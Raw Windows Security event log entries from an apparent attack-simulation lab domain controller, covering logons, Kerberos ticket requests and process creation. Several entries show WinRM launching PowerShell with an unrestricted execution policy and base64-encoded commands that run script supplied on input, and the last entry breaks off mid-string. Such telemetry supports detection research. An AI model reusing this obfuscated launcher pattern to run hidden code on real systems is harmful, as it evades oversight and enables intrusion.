-Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251163 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x12B0BD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64505 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251162 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12B0BD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251161 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12AF2F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251160 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12AF2F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {451C6376-4C9F-3D22-E75E-B69135BFCBD8} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251159 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {451C6376-4C9F-3D22-E75E-B69135BFCBD8} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251158 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {451C6376-4C9F-3D22-E75E-B69135BFCBD8} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251157 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251156 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x120c - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x135c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251155 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x135c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfcc - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251154 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x129AB7 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251153 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x129AB7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {451C6376-4C9F-3D22-E75E-B69135BFCBD8} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251152 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {451C6376-4C9F-3D22-E75E-B69135BFCBD8} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251151 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {451C6376-4C9F-3D22-E75E-B69135BFCBD8} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251150 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251149 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfcc - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe70 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251148 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe70 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x61c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAY